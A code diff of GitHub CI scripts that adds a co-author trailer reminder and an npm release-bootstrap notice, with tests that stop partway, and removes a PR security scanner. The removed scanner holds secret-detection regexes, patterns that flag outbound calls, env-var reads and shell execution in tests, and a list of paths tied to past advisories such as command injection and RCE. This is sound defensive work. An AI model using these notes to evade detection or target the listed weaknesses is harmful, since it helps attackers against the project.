of a stale contributor PR, a port of an + * abandoned branch, a pairing session — their name survives only if the squash + * message carries a `Co-Authored-By` trailer for them. Nothing prompts for it, + * and the PR page keeps showing the original author either way, so the loss is + * invisible at exactly the moment it happens. + * + * Identity matching is a heuristic and is deliberately biased. A commit GitHub + * could not match to an account is credited unless its name or email resolves + * to the PR author, which will occasionally credit someone as a co-author of + * themselves — their git config carrying a real name where the comparison has + * only a login. That error costs a line a human drops while pasting. The + * opposite error costs a contributor their attribution silently, which is the + * failure this gate exists to prevent, so the bias runs towards over-crediting. + * + * Informational rather than a failure, on purpose. The squash message does not + * exist while the PR is open, so this cannot be verified here and cannot be + * fixed here either. Failing the PR would block work on something its author + * has no way to satisfy. What this can do is notice that the situation applies + * and hand over the exact lines to paste. + */ +import { fileURLToPath } from 'node:url'; + +/** + * Fetches every commit on a PR across GitHub pagination. + * + * Capped at the API's own ceiling: `/pulls/{n}/commits` returns at most 250 + * commits and silently stops. A branch that large is not the case this gate is + * about, and a partial list still surfaces the contributors it did see. + */ +export async function fetchAllPullRequestCommits(ghFetchFn, repo, prNumber, token) { + const commits = []; + + for (let page = 1; page <= 3; page += 1) { + const batch = await ghFetchFn( + `/repos/${repo}/pulls/${prNumber}/commits?per_page=100&page=${page}`, + token + ); + commits.push(...batch); + + if (batch.length < 100) break; + } + + return commits; +} + +/** GitHub's own no-reply address for a login, which is what trailers should use. */ +function noReplyEmail(login) { + return `${login}@users.noreply.github.com`; +} + +export function checkCoauthors(commits, prAuthor) { + const author = (prAuthor ?? '').toLowerCase(); + const contributors = new Map(); + // Emails already accounted for under a GitHub login. One person can appear + // both ways in the same branch — some commits matched to their account, some + // authored with an email GitHub does not know — and keying on login alone + // would then emit two trailers for them. + const seenEmails = new Set(); + + for (const entry of commits ?? []) { + const login = entry?.author?.login ?? null; + const gitName = entry?.commit?.author?.name ?? null; + const gitEmail = entry?.commit?.author?.email ?? null; + + // The PR author's own commits need no trailer — the squash is already + // theirs. Compared case-insensitively because GitHub logins are. + if (login && author && login.toLowerCase() === author) continue; + + // Bots author plenty of commits and crediting them is noise. + if (login && /\[bot\]$/.test(login)) continue; + if (!login && !gitName) continue; + + // A commit GitHub could not match to an account may still be the PR + // author's own — their git config carrying an email GitHub does not know. + // Without this they are listed as a co-author of themselves. + if (!login && author) { + const nameMatches = gitName && gitName.toLowerCase() === author; + const emailMatches = gitEmail && gitEmail.toLowerCase().startsWith(`${author}@`); + if (nameMatches || emailMatches) continue; + } + + // Prefer the GitHub identity, so the trailer links to a profile. Fall back + // to the raw git author for a commit GitHub could not match to an account. + const name = login ?? gitName; + const email = login ? noReplyEmail(login) : gitEmail; + if (!email) continue; + + // Keyed on identity, not on the rendered line. One person whose git config + // name changed across commits is still one person, and emitting them twice + // would put two trailers for the same contributor into the squash body. + const key = (login ?? gitEmail ?? name).toLowerCase(); + if (contributors.has(key)) continue; + const emailKey = (gitEmail ?? '').toLowerCase(); + if (emailKey && seenEmails.has(emailKey)) continue; + if (emailKey) seenEmails.add(emailKey); + + const displayName = gitName && login ? gitName : name; + contributors.set(key, { + trailer: `Co-Authored-By: ${displayName} <${email}>`, + name: displayName, + }); + } + + if (contributors.size === 0) return { passed: true, informational: [] }; + + const trailers = [...contributors.values()].map(c => c.trailer).sort(); + const names = [...new Set([...contributors.values()].map(c => c.name))].sort(); + const who = names.length === 1 ? names[0] : `${names.length} other contributors`; + + return { + passed: true, + informational: [ + `This branch carries commits by ${who}. Squash-merging drops that authorship unless ` + + 'the squash message carries their trailers, and nothing else will notice if it does not. ' + + 'Add to the squash body when merging:\n\n' + + trailers.map(line => ` ${line}`).join('\n'), + ], + }; +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) { + const commits = JSON.parse(process.env.PR_COMMITS ?? '[]'); + const result = checkCoauthors(commits, process.env.PR_AUTHOR ?? ''); + console.log(JSON.stringify(result)); + process.exit(0); +} diff --git a/.github/scripts/check-pr-release-bootstrap.mjs b/.github/scripts/check-pr-release-bootstrap.mjs new file mode 100644 index 00000000000..215c3b3afe7 --- /dev/null +++ b/.github/scripts/check-pr-release-bootstrap.mjs @@ -0,0 +1,151 @@ +#!/usr/bin/env node +/** + * check-pr-release-bootstrap.mjs + * Detects release packages that this PR adds or newly release-enables whose + * names do not exist on npm yet, and emits an informational notice: the + * `policy` CI job will stay red until a maintainer bootstraps the name with + * `pnpm run release:bootstrap-package`. Contributors cannot fix that + * themselves, so the notice says so explicitly. + * + * Never fails (informational only) — outputs { passed: true, informational: string[] } + * + * Runs under pull_request_target from base-branch context: it only parses + * JSON and diff text fetched from the GitHub API and queries the npm registry + * with scope-validated names. It never executes PR code. + */ +import { fileURLToPath } from 'node:url'; +import { ghFetch } from './get-bot-token.mjs'; +import { resolveBaseRef } from './check-pr-dependencies.mjs'; + +const MANIFEST_PATH = 'scripts/release-package-manifest.json'; + +// Manifest content comes from the PR head (fork-controlled), so only names +// matching our scope are ever looked up on the registry. +const SCOPE_RE = /^@paperclipai\/[a-z0-9][a-z0-9._-]*$/; + +const MAX_REGISTRY_LOOKUPS = 5; + +function buildContentsPath(repo, filename, ref) { + return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; +} + +async function fetchManifestEntries(fetchFromGitHub, token, repo, ref) { + try { + const res = await fetchFromGitHub(buildContentsPath(repo, MANIFEST_PATH, ref), token); + const parsed = JSON.parse(Buffer.from(res.content, 'base64').toString()); + return Array.isArray(parsed) ? parsed : []; + } catch { + return []; // manifest missing or unreadable on this ref + } +} + +export async function fetchRegistryPackageExists(packageName) { + const res = await fetch(`https://registry.npmjs.org/${encodeURIComponent(packageName)}`, { + method: 'HEAD', + }); + if (res.status === 404) return false; + if (res.ok) return true; + throw new Error(`npm registry returned ${res.status} for ${packageName}`); +} + +// Names this PR newly declares a workspace dependency on, per the diff of any +// changed package.json. If one of them is an unpublished manifest entry that +// is not publishFromCi:true, the release manifest validator rejects the PR. +export function addedWorkspaceDependencyNames(files) { + const names = new Set(); + for (const file of files) { + if (!file.filename.endsWith('package.json')) continue; + if (file.filename.includes('node_modules')) continue; + for (const line of (file.patch ?? '').split('\n')) { + if (!line.startsWith('+')) continue; + const match = line.match(/"(@paperclipai\/[a-z0-9][a-z0-9._-]*)"\s*:\s*"workspace:/); + if (match) names.add(match[1]); + } + } + return names; +} + +function buildNotice({ name, reason }) { + const bootstrap = + `a **maintainer** must run \`pnpm run release:bootstrap-package -- ${name} --publish\` ` + + 'and configure npm trusted publishing (see `doc/PUBLISHING.md`)'; + + if (reason === 'depended') { + return ( + `🚀 New release package \`${name}\` is not on npm yet, and published packages in this PR ` + + `depend on it, so the \`policy\` check will stay red: ${bootstrap}, then set its manifest ` + + `entry to \`"publishFromCi": true\` — or drop the workspace dependency. ` + + 'No contributor action is needed for the bootstrap itself.' + ); + } + + return ( + `🚀 New release package \`${name}\` is not on npm yet, so the \`policy\` check will stay ` + + `red: ${bootstrap}. No contributor action is needed for this.` + ); +} + +export async function checkReleaseBootstrap(files, token, repo, prNumber, baseRef, deps = {}) { + const { fetchFromGitHub = ghFetch, registryPackageExists = fetchRegistryPackageExists } = deps; + + const manifestChanged = files.some( + f => f.filename === MANIFEST_PATH && f.status !== 'removed' + ); + // A PR can hit the manifest edge validator without touching the manifest: + // adding a workspace:* dependency on an existing unpublished + // publishFromCi:false package. Patch parsing is free, so compute the added + // dependencies first and keep the zero-API fast path only for PRs that + // neither touch the manifest nor add a workspace dependency. + const dependedOn = addedWorkspaceDependencyNames(files); + if (!manifestChanged && dependedOn.size === 0) return { passed: true, informational: [] }; + + const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); + const [baseEntries, headEntries] = await Promise.all([ + fetchManifestEntries(fetchFromGitHub, token, repo, resolvedBaseRef), + fetchManifestEntries(fetchFromGitHub, token, repo, `refs/pull/${prNumber}/head`), + ]); + + const basePublishFromCiByName = new Map( + baseEntries + .filter(e => e && typeof e.name === 'string') + .map(e => [e.name, e.publishFromCi === true]) + ); + + const candidates = []; + for (const entry of headEntries) { + if (!entry || typeof entry.name !== 'string') continue; + const name = entry.name; + if (!SCOPE_RE.test(name)) continue; + + const enabled = entry.publishFromCi === true; + const baseEnabled = basePublishFromCiByName.get(name); + + if (enabled && baseEnabled !== true) { + // Newly release-enabled (added as true, or flipped false -> true): the + // bootstrap gate itself will fail if the name is missing from npm. + candidates.push({ name, reason: 'enabled' }); + } else if (!enabled && dependedOn.has(name)) { + // Not release-enabled but this PR makes published packages depend on + // it: the manifest edge validator will fail if it stays unpublished. + candidates.push({ name, reason: 'depended' }); + } + } + + const informational = []; + for (const candidate of candidates.slice(0, MAX_REGISTRY_LOOKUPS)) { + let exists; + try { + exists = await registryPackageExists(candidate.name); + } catch { + continue; // registry hiccup: stay quiet, the policy job is the enforcer + } + if (!exists) informational.push(buildNotice(candidate)); + } + + return { passed: true, informational }; +} + +if (process.argv[1] === fileURLToPath(import.meta.url)) { + console.error('check-pr-release-bootstrap.mjs is a library used by run-quality-gates.mjs'); + process.exit(1); +} diff --git a/.github/scripts/check-pr-security.mjs b/.github/scripts/check-pr-security.mjs deleted file mode 100644 index 2361b2bf364..00000000000 --- a/.github/scripts/check-pr-security.mjs +++ /dev/null @@ -1,393 +0,0 @@ -#!/usr/bin/env node -/** - * check-pr-security.mjs - * Runs 6 security checks against a PR diff. Never posts public comments. - * Creates a draft security advisory in the repo if any check fires. - * - * Env: GH_TOKEN, GH_REPO, PR_NUMBER, PR_AUTHOR - * Exit: always 0 — security flags are silent, never block the PR visibly. - */ -import { fileURLToPath } from 'node:url'; -import { ghFetch } from './get-bot-token.mjs'; -import { fetchAllPullRequestFiles } from './fetch-pr-files.mjs'; -import { resolveBaseRef } from './check-pr-dependencies.mjs'; - -// ── Pure check functions (exported for testing) ─────────────────────────────── - -const SECRET_PATTERNS = [ - { name: 'OpenAI API key', re: /sk-[a-zA-Z0-9]{32,}/ }, - { name: 'Google API key', re: /AIza[0-9A-Za-z\-_]{35}/ }, - { name: 'AWS access key', re: /AKIA[0-9A-Z]{16}/ }, - { name: 'Private key', re: /-----BEGIN (RSA|EC|OPENSSH) PRIVATE KEY-----/ }, - { name: 'High-entropy secret', re: /[a-zA-Z_]*(key|token|secret|password|credential)[a-zA-Z_]*\s*[=:]\s*["'][^"']{20,}["']/i }, -]; - -export function scanSecrets(files) { - const flags = []; - for (const file of files) { - if (!file.patch) continue; - const added = file.patch.split('\n').filter(l => l.startsWith('+') && !l.startsWith('+++')); - for (const line of added) { - for (const { name, re } of SECRET_PATTERNS) { - if (re.test(line)) { - flags.push({ check: 'secret-scan', file: file.filename, pattern: name, line: line.slice(0, 120) }); - } - } - } - } - return flags; -} - -const CI_BUILD_SCRIPTS = [ - 'scripts/release.sh', - 'scripts/check-docker-deps-stage.mjs', - 'scripts/check-release-package-bootstrap.mjs', - 'scripts/release-package-map.mjs', - 'scripts/docker-onboard-smoke.sh', -]; - -export function scanCITampering(files) { - return files - .filter(f => f.filename.startsWith('.github/workflows/') && f.status !== 'removed') - .map(f => ({ check: 'ci-tampering', file: f.filename })); -} - -export function scanBuildScripts(files) { - return files - .filter(f => CI_BUILD_SCRIPTS.includes(f.filename) && f.status !== 'removed') - .map(f => ({ check: 'build-script-change', file: f.filename })); -} - -export function scanSupplyChain(files) { - const lockfile = files.find(f => f.filename === 'pnpm-lock.yaml'); - if (!lockfile?.patch) return []; - - const added = new Set(); - const removed = new Set(); - - for (const line of lockfile.patch.split('\n')) { - const entry = parseLockfilePackageDiffEntry(line); - if (!entry) continue; - if (entry.sign === '+') added.add(entry.packageName); - if (entry.sign === '-') removed.add(entry.packageName); - } - - const netNew = [...added].filter(p => !removed.has(p)); - return netNew.length ? [{ check: 'supply-chain', packages: netNew }] : []; -} - -function parseLockfilePackageDiffEntry(line) { - const match = line.match(/^([+-])\s*(.+?)\s*$/); - if (!match) return null; - - let [, sign, rawEntry] = match; - if (!rawEntry.endsWith(':')) return null; - - rawEntry = rawEntry.slice(0, -1).trim(); - if ((rawEntry.startsWith("'") && rawEntry.endsWith("'")) || (rawEntry.startsWith('"') && rawEntry.endsWith('"'))) { - rawEntry = rawEntry.slice(1, -1); - } - rawEntry = rawEntry.replace(/\(.*$/, '').trim(); - - const versionSep = rawEntry.lastIndexOf('@'); - if (versionSep <= 0 || versionSep === rawEntry.length - 1) return null; - - const packageName = rawEntry.slice(0, versionSep); - if (!/^(?:@[^/\s:]+\/)?[A-Za-z0-9._-][A-Za-z0-9._/-]*$/.test(packageName)) return null; - - return { sign, packageName }; -} - -const TEST_FILE_RE = /\.(test|spec)\.(ts|js|tsx|jsx)$|\/(?:__tests__|tests?)\//; -const SUSPICIOUS_PATTERNS = [ - { name: 'outbound-network', re: /\+.*(fetch\(|axios\.|http\.request|https\.request)/ }, - { name: 'env-var-read', re: /\+.*process\.env\.(?!(?:NODE_ENV|CI|TEST|VITEST|npm_))([A-Z_]{4,})/ }, - { name: 'shell-exec', re: /\+.*(execSync\(|spawnSync\(|exec\(|spawn\()/ }, - { name: 'absolute-file-read', re: /\+.*(readFile|readFileSync)\s*\(\s*["'`]?\// }, -]; - -export function scanTestPatterns(files) { - const flags = []; - for (const file of files) { - if (!TEST_FILE_RE.test(file.filename) || !file.patch) continue; - for (const { name, re } of SUSPICIOUS_PATTERNS) { - if (re.test(file.patch)) { - flags.push({ check: 'suspicious-test', file: file.filename, pattern: name }); - } - } - } - return flags; -} - -const SENSITIVE_PATHS = [ - // Advisory 1: codex-local adapter (inherited ChatGPT/Gmail OAuth scopes) - 'packages/adapters/codex-local/', - // Advisory 2 & 11: OS command injection / privilege escalation via provisionCommand / cleanupCommand - 'server/src/services/workspace-realization.ts', - 'server/src/routes/execution-workspaces.ts', - 'server/src/routes/workspace-command-authz.ts', - // Advisory 3 & 6: Cross-tenant agent API key minting and IDOR on /agents/:id/keys - 'server/src/routes/agents.ts', - // Advisory 4: Approval decision attribution spoofing via decidedByUserId - 'server/src/routes/approvals.ts', - // Advisory 5: Stored XSS via javascript: URLs in MarkdownBody (urlTransform) - 'ui/src/components/MarkdownBody.tsx', - // Advisory 7: Unauthenticated access to authenticated-mode endpoints - 'server/src/routes/authz.ts', - // Advisory 8: Unauthenticated RCE via import authorization bypass - 'server/src/routes/companies.ts', - // Advisory 9: Malicious skills able to exfiltrate / destroy user data - 'server/src/routes/company-skills.ts', - // Advisory 10: Arbitrary file read via agent-controlled instructionsFilePath - 'server/src/services/agent-instructions.ts', -]; - -export function scanSensitivePaths(files) { - return files - .filter(f => f.status !== 'removed' && SENSITIVE_PATHS.some(p => f.filename.startsWith(p))) - .map(f => ({ - check: 'sensitive-path', - file: f.filename, - advisoryPath: SENSITIVE_PATHS.find(p => f.filename.startsWith(p)), - })); -} - -function buildContentsPath(repo, filename, ref) { - return `/repos/${repo}/contents/${filename}?${new URLSearchParams({ ref }).toString()}`; -} - -export async function validateSensitivePaths(token, repo, prNumber, baseRef, fetchFromGitHub = ghFetch) { - const resolvedBaseRef = await resolveBaseRef(fetchFromGitHub, token, repo, prNumber, baseRef); - const stale = []; - await Promise.all(SENSITIVE_PATHS.map(async (path) => { - try { - await fetchFromGitHub(buildContentsPath(repo, path, resolvedBaseRef), token); - } catch (err) { - // 404 means the file/directory no longer exists at this path - if (String(err.message).includes('404')) stale.push(path); - // Other errors (network, rate limit) — re-throw so we don't silently miss them - else throw err; - } - })); - return stale; -} - -// ── Advisory creation ───────────────────────────────────────────────────────── - -const SEVERITY_MAP = { - 'supply-chain': 'critical', - 'sensitive-path': 'critical', - 'secret-scan': 'high', - 'ci-tampering': 'high', - 'suspicious-test': 'high', - 'build-script-change': 'medium', -}; - -const SEVERITY_ORDER = ['low', 'medium', 'high', 'critical']; - -function worstSeverity(flags) { - return flags.reduce((worst, f) => { - const s = SEVERITY_MAP[f.check] ?? 'medium'; - return SEVERITY_ORDER.indexOf(s) > SEVERITY_ORDER.indexOf(worst) ? s : worst; - }, 'low'); -} - -export function buildAdvisoryPayload(prNumber, prTitle, flags) { - const checkNames = [...new Set(flags.map(f => f.check))].join(', '); - return { - summary: `🚨 Security flag — PR #${prNumber}: ${checkNames}`, - description: [ - `**PR:** #${prNumber} — ${prTitle}`, - `**Checks triggered:** ${checkNames}`, - '', - '**Details:**', - ...flags.map(f => [ - `- \`${f.check}\`: ${f.file ?? ''}`, - f.pattern ? ` (pattern: ${f.pattern})` : '', - f.packages ? ` (packages: ${f.packages.join(', ')})` : '', - f.line ? `\n \`${f.line}\`` : '', - ].join('')), - '', - '> This advisory was created automatically by commitperclip. Review and dismiss if not a real concern.', - ].join('\n'), - severity: worstSeverity(flags), - vulnerabilities: [], - }; -} - -export async function syncDraftAdvisory(fetchImpl, token, repo, prNumber, prTitle, flags) { - const existing = await findExistingDraftAdvisory(fetchImpl, token, repo, prNumber); - const payload = buildAdvisoryPayload(prNumber, prTitle, flags); - - if (existing) { - const advisoryId = existing.ghsa_id ?? existing.id; - if (!advisoryId) { - throw new Error(`Existing advisory for PR #${prNumber} is missing both ghsa_id and id.`); - } - - // PATCH rejects `vulnerabilities: []` with 422 ("Advisory must have at least one vulnerability"). - // The field is only valid on POST when creating the draft; updates must omit it. - const { vulnerabilities, ...patchPayload } = payload; - - return fetchImpl(`/repos/${repo}/security-advisories/${advisoryId}`, token, { - method: 'PATCH', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(patchPayload), - }); - } - - return fetchImpl(`/repos/${repo}/security-advisories`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(payload), - }); -} - -// Cap pagination so a large backlog of unrelated draft advisories cannot stall -// the security gate (it runs inside a 5-minute workflow timeout). -const MAX_DRAFT_ADVISORY_PAGES = 20; - -export async function findExistingDraftAdvisory(fetchImpl, token, repo, prNumber) { - const prMarker = `PR #${prNumber}`; - - for (let page = 1; page <= MAX_DRAFT_ADVISORY_PAGES; page += 1) { - const advisories = await fetchImpl( - `/repos/${repo}/security-advisories?state=draft&per_page=100&page=${page}`, - token, - ); - - if (!Array.isArray(advisories) || advisories.length === 0) return null; - - const existing = advisories.find(advisory => - typeof advisory?.summary === 'string' && advisory.summary.includes(prMarker) - ); - if (existing) return existing; - - if (advisories.length < 100) return null; - } - - console.warn( - `[security] findExistingDraftAdvisory: hit ${MAX_DRAFT_ADVISORY_PAGES}-page cap without finding PR #${prNumber}; ` + - 'treating as new advisory. A duplicate draft may be created.', - ); - return null; -} - -export async function postSecurityCheckRun(fetchImpl, token, repo, headSha, hasFlags) { - await fetchImpl(`/repos/${repo}/check-runs`, token, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify(hasFlags ? { - name: 'security-review', - head_sha: headSha, - // `completed/neutral` instead of `in_progress` so the check doesn't put - // the PR in `mergeStateStatus: BLOCKED`. The draft advisory is the - // durable signal for maintainers; there is no completion path that - // could ever flip an `in_progress` check-run back to completed on the - // same head SHA, so it would hang forever. - status: 'completed', - conclusion: 'neutral', - output: { - title: 'Security Review Recommended', - summary: 'Draft advisory filed for maintainer review. Not a merge block — review the advisory at your leisure.', - }, - } : { - name: 'security-review', - head_sha: headSha, - status: 'completed', - conclusion: 'success', - output: { - title: 'Security Review Passed', - summary: 'No security concerns detected.', - }, - }), - }); -} - -// ── Main ────────────────────────────────────────────────────────────────────── - -// Wall-clock budget for the whole script. The workflow job has a 5-minute -// timeout-minutes, and `continue-on-error: true` on a step does NOT override -// a job-level timeout — it only suppresses step failures. So if any API call -// (e.g. security-advisories POST/PATCH) hangs, the whole job is cancelled, -// failing the `review` check. This watchdog enforces the script's documented -// "always exit 0" contract regardless of API behaviour. -export const SCRIPT_WATCHDOG_MS = 90_000; - -export function startScriptWatchdog(timeoutMs = SCRIPT_WATCHDOG_MS, exit = process.exit) { - const timer = setTimeout(() => { - console.warn( - `[security] script exceeded ${timeoutMs}ms wall-clock budget; exiting 0 per always-exit-0 contract` - ); - exit(0); - }, timeoutMs); - // Don't keep the event loop alive solely for the watchdog. - timer.unref?.(); - return timer; -} - -async function main() { - const watchdog = startScriptWatchdog(); - - const { GH_TOKEN, GH_REPO, PR_NUMBER } = process.env; - - if (!GH_TOKEN || !GH_REPO || !PR_NUMBER) { - console.error('ERROR: GH_TOKEN, GH_REPO, PR_NUMBER required'); - process.exit(1); - } - - // Sanitize inputs before use in URL construction (prevents SSRF) - const prNumber = parseInt(PR_NUMBER, 10); - if (!Number.isInteger(prNumber) || prNumber <= 0) { - console.error('ERROR: PR_NUMBER must be a positive integer'); - process.exit(1); - } - if (!/^[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+$/.test(GH_REPO)) { - console.error('ERROR: GH_REPO must be in owner/repo format'); - process.exit(1); - } - - // Validate SENSITIVE_PATHS — fails loudly if any have been refactored away on the PR base branch - const stalePaths = await validateSensitivePaths(GH_TOKEN, GH_REPO, prNumber); - if (stalePaths.length > 0) { - console.error('ERROR: Stale sensitive paths in check-pr-security.mjs:'); - for (const p of stalePaths) console.error(` - ${p}`); - console.error(''); - console.error('These paths no longer exist on the PR base branch. The security gate will silently produce no signal for them.'); - console.error('Update SENSITIVE_PATHS in check-pr-security.mjs to reflect the current code structure.'); - process.exit(1); - } - - const [pr, files] = await Promise.all([ - ghFetch(`/repos/${GH_REPO}/pulls/${prNumber}`, GH_TOKEN), - fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), - ]); - - const allFlags = [ - ...scanSecrets(files), - ...scanCITampering(files), - ...scanBuildScripts(files), - ...scanSupplyChain(files), - ...scanTestPatterns(files), - ...scanSensitivePaths(files), - ]; - - if (allFlags.length > 0) { - console.error(`[security] ${allFlags.length} flag(s) detected — creating draft advisory and pending check run`); - await Promise.all([ - syncDraftAdvisory(ghFetch, GH_TOKEN, GH_REPO, prNumber, pr.title, allFlags), - postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, true), - ]); - } else { - console.log('[security] all clear'); - await postSecurityCheckRun(ghFetch, GH_TOKEN, GH_REPO, pr.head.sha, false); - } - - // Always exit 0 — security flags are silent, never block the PR publicly - clearTimeout(watchdog); - process.exit(0); -} - -if (process.argv[1] === fileURLToPath(import.meta.url)) { - main().catch(e => { console.error(e.message); process.exit(1); }); -} diff --git a/.github/scripts/run-quality-gates.mjs b/.github/scripts/run-quality-gates.mjs index a99786fbf24..31a1a12a006 100644 --- a/.github/scripts/run-quality-gates.mjs +++ b/.github/scripts/run-quality-gates.mjs @@ -16,6 +16,8 @@ import { checkDedupSearch } from './check-pr-dedup-search.mjs'; import { checkTestCoverage } from './check-pr-test-coverage.mjs'; import { checkLockfile } from './check-pr-lockfile.mjs'; import { checkDependencies } from './check-pr-dependencies.mjs'; +import { checkReleaseBootstrap } from './check-pr-release-bootstrap.mjs'; +import { checkCoauthors, fetchAllPullRequestCommits } from './check-pr-coauthors.mjs'; const COMMENT_SIGNATURE = '— commitperclip'; @@ -105,13 +107,24 @@ async function main() { fetchAllPullRequestFiles(ghFetch, GH_REPO, prNumber, GH_TOKEN), ]); + // Separate, and allowed to fail. The co-author note is informational: it + // cannot fail a PR by design, so it must not be able to fail the workflow by + // accident either. Sharing the Promise.all above would let one transient + // 5xx on this request take down every gate, including the ones that block. + let commits = []; + try { + commits = await fetchAllPullRequestCommits(ghFetch, GH_REPO, prNumber, GH_TOKEN); + } catch (error) { + console.error(`co-author lookup skipped: ${error.message}`); + } + const prBody = pr.body ?? ''; const author = PR_AUTHOR ?? pr.user.login; const branch = PR_BRANCH ?? pr.head.ref; // Run all quality gates (pure functions run sync, deps check is async) const prTitle = pr.title ?? ''; - const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult] = + const [templateResult, issueResult, dedupResult, testResult, lockfileResult, depsResult, bootstrapResult] = await Promise.all([ Promise.resolve(checkTemplate(prBody)), Promise.resolve(checkLinkedIssue(prBody, prTitle)), @@ -119,7 +132,9 @@ async function main() { Promise.resolve(checkTestCoverage(files, prTitle)), Promise.resolve(checkLockfile(files, author, branch)), checkDependencies(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref), + checkReleaseBootstrap(files, GH_TOKEN, GH_REPO, prNumber, pr.base?.ref), ]); + const coauthorResult = checkCoauthors(commits, author); const allFailures = [ ...templateResult.failures, @@ -128,7 +143,11 @@ async function main() { ...testResult.failures, ...lockfileResult.failures, ]; - const informational = depsResult.informational ?? []; + const informational = [ + ...(depsResult.informational ?? []), + ...(bootstrapResult.informational ?? []), + ...coauthorResult.informational, + ]; const allPassed = allFailures.length === 0; const commentBody = buildComment(author, allFailures, informational); diff --git a/.github/scripts/tests/check-pr-coauthors.test.mjs b/.github/scripts/tests/check-pr-coauthors.test.mjs new file mode 100644 index 00000000000..8f339532388 --- /dev/null +++ b/.github/scripts/tests/check-pr-coauthors.test.mjs @@ -0,0 +1,179 @@ +import { test } from 'node:test'; +import assert from 'node:assert/strict'; +import { checkCoauthors, fetchAllPullRequestCommits } from '../check-pr-coauthors.mjs'; + +function commit(login, name = null, email = null) { + return { + author: login ? { login } : null, + commit: { author: { name: name ?? login, email: email ?? `${login}@users.noreply.github.com` } }, + }; +} + +test('checkCoauthors: says nothing when every commit is the PR author\'s own', () => { + const result = checkCoauthors( + [commit('tonio-alucema'), commit('tonio-alucema')], + 'tonio-alucema' + ); + + assert.equal(result.passed, true); + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: hands over the trailer when the branch carries someone else\'s commit', () => { + // The case this exists for: a stale contributor PR rebased and landed by a + // maintainer. Squash-merging drops the contributor unless the squash body + // carries their trailer. + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('tonio-alucema')], + 'tonio-alucema' + ); + + assert.equal(result.informational.length, 1); + assert.match(result.informational[0], /Jannes Stubbemann/); + assert.match( + result.informational[0], + /Co-Authored-By: Jannes Stubbemann / + ); +}); + +test('checkCoauthors: never fails the PR, because the squash message does not exist yet', () => { + // Informational only. The author of the PR cannot satisfy this from the PR, + // so failing here would block work on something unfixable at that point. + const result = checkCoauthors([commit('stubbi')], 'tonio-alucema'); + + assert.equal(result.passed, true); +}); + +test('checkCoauthors: matches the PR author case-insensitively', () => { + // GitHub logins are case-insensitive, and PR_AUTHOR does not always arrive + // in the same case as the commit author login. + const result = checkCoauthors([commit('Tonio-Alucema')], 'tonio-alucema'); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: ignores bots', () => { + const result = checkCoauthors( + [commit('github-actions[bot]'), commit('dependabot[bot]')], + 'tonio-alucema' + ); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: lists each contributor once, however many commits they wrote', () => { + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'Jannes Stubbemann')], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); +}); + +test('checkCoauthors: falls back to the raw git author when GitHub matched no account', () => { + // A commit authored with an email GitHub cannot resolve still deserves a + // trailer — that is precisely the identity most likely to be lost. + const result = checkCoauthors( + [{ author: null, commit: { author: { name: 'Ada Lovelace', email: 'ada@example.com' } } }], + 'tonio-alucema' + ); + + assert.match(result.informational[0], /Co-Authored-By: Ada Lovelace /); +}); + +test('checkCoauthors: skips an unattributable commit rather than emitting a broken trailer', () => { + const result = checkCoauthors( + [{ author: null, commit: { author: { name: 'Nameless', email: null } } }], + 'tonio-alucema' + ); + + assert.deepEqual(result.informational, []); +}); + +test('checkCoauthors: names the count rather than everyone when several contributed', () => { + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('elJayAdvisor', 'LJ')], + 'tonio-alucema' + ); + + assert.match(result.informational[0], /2 other contributors/); + assert.match(result.informational[0], /Jannes Stubbemann/); + assert.match(result.informational[0], /LJ/); +}); + +test('checkCoauthors: tolerates a PR with no commits', () => { + assert.deepEqual(checkCoauthors([], 'tonio-alucema').informational, []); + assert.deepEqual(checkCoauthors(undefined, 'tonio-alucema').informational, []); +}); + +test('fetchAllPullRequestCommits: pages until a short batch', async () => { + const seen = []; + const commits = await fetchAllPullRequestCommits(async (path) => { + seen.push(path); + if (path.endsWith('page=1')) return Array.from({ length: 100 }, () => commit('stubbi')); + return [commit('tonio-alucema')]; + }, 'paperclipai/paperclip', 9900, 'token'); + + assert.equal(commits.length, 101); + assert.equal(seen.length, 2); +}); + +test('fetchAllPullRequestCommits: stops at the API ceiling instead of looping', async () => { + // `/pulls/{n}/commits` caps at 250 and keeps returning full pages of nothing + // new past that. A branch that large is not what this gate is about, but it + // must not spin. + let calls = 0; + const commits = await fetchAllPullRequestCommits(async () => { + calls += 1; + return Array.from({ length: 100 }, () => commit('stubbi')); + }, 'paperclipai/paperclip', 9900, 'token'); + + assert.equal(calls, 3); + assert.equal(commits.length, 300); +}); + +test('checkCoauthors: counts one person once when their git name varies across commits', () => { + // People change their git config. Keying the dedup on the rendered trailer + // would put two lines for the same contributor into the squash body. + const result = checkCoauthors( + [commit('stubbi', 'Jannes Stubbemann'), commit('stubbi', 'J. Stubbemann')], + 'tonio-alucema' + ); + + const trailers = result.informational[0].match(/Co-Authored-By:/g) ?? []; + assert.equal(trailers.length, 1); + assert.doesNotMatch(result.informational[0], /other contributors/); +}); + +test('checkCoauthors: does not credit the PR author as a co-author of themselves', () => { + // Their own commit, authored with an email GitHub could not match to the + // account. Without the guard they appear in their own trailer list. + const byName = checkCoauthors( + [{ author: null, commit: { author: { name: 'tonio-alucema', email: 'tonio@example.com' } } }], + 'tonio-alucema' + ); + const byEmail = checkCoauthors( + [{ author: null, commit: { author: { name: 'Tonio', email: 'tonio-alucema@users.noreply.github.com' } } }], + 